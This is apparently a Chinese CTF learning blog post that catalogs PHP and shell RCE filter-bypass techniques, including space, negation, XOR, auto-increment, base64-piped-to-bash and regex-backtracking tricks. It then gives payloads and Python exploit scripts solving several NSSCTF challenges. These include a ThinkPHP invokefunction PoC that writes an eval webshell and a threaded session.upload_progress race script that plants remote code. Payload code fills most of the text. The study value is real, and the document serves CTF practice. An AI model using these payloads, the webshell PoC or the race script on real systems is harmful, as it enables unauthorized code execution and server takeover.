Web入门-RCE漏洞绕过常用方法 基础知识 空格过滤 可代替空格的:
1 2 3 4 5 6 7 8 < <> %20 %09 $IFS$9 ${IFS} $IFS {cat,/flag}
反斜杠绕过
取反绕过 构造脚本
1 2 3 4 5 6 7 <?php fwrite (STDOUT,'[+]your function: ' ); $system =str_replace (array ("\r\n" ,"\r" ,"\n" ),"" ,fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' ); $command =str_replace (array ("\r\n" ,"\r" ,"\n" ),"" ,fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ; ?>
异或绕过 常用脚本:
1 2 3 4 5 6 7 8 <?php $a ='phpinfo' ; for ($i =0 ;$i <strlen ($a );$i ++) echo '%' .dechex (ord ($a [$i ])^0xff ); echo "^" ; for ($j =0 ;$j <strlen ($a );$j ++) echo '%ff' ; ?>
如果结果被过滤就用这个,设置可用字符即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 valid="1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " answer=input () tmp1,tmp2='' ,'' for c in answer: for i in valid: for j in valid: if ord (i)^ord (j)==ord (c): tmp1+=i tmp2+=j break else : continue break print (f'"{tmp1} "^"{tmp2} "' )
自增绕过 例如引发phpinfo的payload如下,其中变量“_”可逃脱过滤,直接传入:
1 $=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();
黑名单绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 //变量拼接 b=ag;cat /fl$b //读根目录 eval(var_dump(scandir('/');); //读flag eval(var_dump(file_get_contents($_POST['a'])););&a=/flag //打开ls扩展下文件 cat `ls` //下划线被过滤 php<8时 变量名中第一个非法字符[被替换为下划线 N[S.S即为N_S.S e[v.a.l即为e_v.a.l //标签绕过 ?><?= phpinfo(); ?> //参数逃逸 ?1=passthru(‘cat /f*’);&code=eval(pos(pos(get_defined_vars()))); //内联执行 print_r(`l\s /;ca''t /ffffffffffla''gafag`);
编码绕过 1 2 3 4 5 6 7 //Base64绕过 `echo Y2F0IC9mbGFn | base64 -d` echo Y2F0IC9mbGFn | base64 -d | bash $(echo Y2F0IC9mbGFn | base64 -d) //Hex绕过 echo '636174202f666c6167' | xxd -r -p | bash
正则匹配绕过 1 2 3 cat /f???cat /fl*cat /f[a-z]{3}
引号绕过
cat替换命令 1 2 more less cat tac head tail vi vim nl od sort uniq xxd grep file -f
回溯绕过 php正则回溯次数大于10000000次时返回False。
1 2 $a ='hello world' +'h' *1000000 preg_match ("/hello.*world/is" ,$a )==False
无回显 1 2 3 4 5 6 //无回显RCE ls / | tee 1.txtcat /flag | tee 2.txt//eval()无输出 eval (print `c\at /flag`;)
做题 [SWPUCTF 2021 新生赛]hardrce 利用以下脚本生成函数为system、参数为ls /的payload:
1 2 3 4 5 6 7 <?php fwrite (STDOUT,'[+]your function: ' ); $system =str_replace (array ("\r\n" ,"\r" ,"\n" ),"" ,fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' ); $command =str_replace (array ("\r\n" ,"\r" ,"\n" ),"" ,fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ; ?>
找到flag位置,尝试访问:
1 http://node5.anna.nssctf.cn:28234/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
exp:
1 2 3 import requestsresponse=requests.get('http://node5.anna.nssctf.cn:28254/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);' ) print (response.text[-45 :])
[GXYCTF 2019]Ping Ping Ping $IFS字符拼接绕过。
1 http://node4.anna.nssctf.cn:28030/?ip=127.0.0.1;q=g;cat$IFS$9fla$q.php
“$IFS”为Linux系统默认分隔符,可替代空格。$1~$9代表参数,这里为空,可以将IFS与后面字符串分割,防止识别为一个变量名。绕过“flag”则重新定义变量绕过。
1 2 3 4 5 import requests,timepayload1='http://node4.anna.nssctf.cn:28030/?ip=127.0.0.1;q=g;cat$IFS$9fla$q.php' response1=requests.get(payload1) time.sleep(4 ) print (response1.text[-63 :-19 ])
[SWPUCTF 2021 新生赛]babyrce 1 2 3 import requestsresponse1=requests.get(r'http://node5.anna.nssctf.cn:28769/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg' ) print (response1.text[-45 :])
[SWPUCTF 2021 新生赛]finalrce PHP中exec
函数无回显,重定向符“>”被ban,选择写入文件后访问:
1 http://node4.anna.nssctf.cn:28483/?url=l''s / | tee 1.txt
将flag写入文件,cat被ban,可用tac或nl替代:
1 http://node4.anna.nssctf.cn:28483/?url=ca''t /flllll\aaaaaaggggggg | tee 2.txt
[鹤城杯 2021]EasyP $_SERVER['PHP_SELF']
返回正在执行脚本的文件名,例如127.0.0.1/pikachu/index.php?file=1.php显示/pikachu/index.php。
$_SERVER['REQUEST_URI']
比上面多了参数,显示/pikachu/index.php?1.php。
basename()
返回路径中文件名部分,当遇到非ASCII字符时直接跳过。
$_SERVER['REQUEST_URI']
不进行URL编码扩展。
payload:
1 http://node4.anna.nssctf.cn:28316/index.php/utils.php/%ff?show+source=1
%ff用于绕过$_SERVER['PHP_SELF']
后在basename()
处被去掉,并在下面的highlight_file
处读取utils.php。+可被解析为_,也可以将s换为%73。
[UUCTF 2022 新生赛]ez_rce payload很多:
1 2 3 var_dump(`nl /f????????????????`); ?1=passthru(‘cat /f*’);&code=eval(pos(pos(get_defined_vars()))); print_r(`l\s /;ca''t /ffffffffffla''gafag`);
[HCTF 2018]Warmup 1 http://node4.anna.nssctf.cn:28689/index.php?file=hint.php?../../../../../ffffllllaaaagggg
include
传参会自适应。
[SWPUCTF 2022 新生赛]ez_rce 看出是ThinkPHP,从网上找PoC:
1 ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST['a'])?>
这个payload在NSS路由下写入shell.php一句话木马,密码a,Antsword连。
[鹤城杯 2021]Middle magic preg_replace
的第一个参数会匹配整个字符串,因为有起始和终止锚点。但是%0A和%23是通配符“.”的例外,所以preg_replace
无法替换该字符串。preg_match
匹配字串,所以可通过。
GET:
1 http://node4.anna.nssctf.cn:28949/?aaa=%0apass_the_level_1%23
POST:
1 admin[]=1&root_pwd[]=2&level_3={"result":"aaa"}
[SWPUCTF 2022 新生赛]numgame 使用call_user_func
函数执行nss2类中的ctf函数:
POST:
[NISACTF 2022]middlerce PCRE回溯次数限制绕过。
当正则匹配的次数高于100w次后直接通过。
PHP中有short_tage特性,<??>
相当于<?php?>
,<?=?>
相当于<?php echo?>
,反引号相当于system
函数。
1 2 3 4 import requestspayload='{"cmd":"?><?= `tail /f*`?>","test":"' +"@" *(1000000 )+'"}' res=requests.post("http://node4.anna.nssctf.cn:28023/" ,data={"letter" :payload}) print (res.text)
[第五空间 2021]EasyCleanup 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
做法1:
取反绕过:
1 2 3 4 5 <?php $s ='nl /*' ; echo '~' .urlencode (~$s ); ?>
Payload:
1 http://node4.anna.nssctf.cn:28913/?mode=eval&shell=system(~%91%93%DF%D0%D5);
做法2:session.upload_progress文件包含进行条件竞争。先查看phpinfo确保session.upload_progress.enable字段为俩On。这里直接放脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import io,threading,requests url = "http://node4.anna.nssctf.cn:28913/" sess_id = "1" file_name = '1.txt' file_data = io.BytesIO (b'a' * 1024 * 50 ) def write (session): while True: session.post (url, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_GET["cmd"]);?>' },cookies={'PHPSESSID' : sess_id}, files={'file' : (file_name, file_data)}) def read (session): while True: res = session.post (f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');" ) if file_name in res.text: print (res.text) break else : print ("Retry" ) if __name__ == "__main__" : evnet = threading.Event () with requests.session () as session: for i in range (5 ): threading.Thread (target=write, args=(session,)).start () for i in range (5 ): threading.Thread (target=read, args=(session,)).start () evnet.set ()